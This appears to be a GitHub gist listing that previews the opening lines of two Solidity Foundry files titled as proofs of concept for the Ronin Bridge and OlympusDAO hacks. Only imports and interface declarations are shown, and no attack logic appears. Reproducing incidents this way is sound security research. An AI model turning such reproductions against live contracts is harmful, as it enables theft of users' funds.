Skip to content

Instantly share code, notes, and snippets.

View jackerleon's full-sized avatar

jackerleon

  • Neptune Mutual
View GitHub Profile
@jackerleon
jackerleon / RoninBridge.sol
Created June 11, 2023 12:10
Proof of Concept for Ronin Bridge hack using Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "forge-std/Test.sol";
// import "./../interface.sol";
interface IRoninBridge {
function withdrawERC20For(uint256 _withdrawalId, address _user, address _token, uint256 _amount, bytes memory _signatures) external;
}
@jackerleon
jackerleon / OlympusDAO.sol
Created April 24, 2023 08:02
Proof of Concept for OlympusDAO hack using Foundry
// author: https://github.com/jackerleon
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "forge-std/Test.sol";
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function balanceOf(address owner) external view returns (uint256);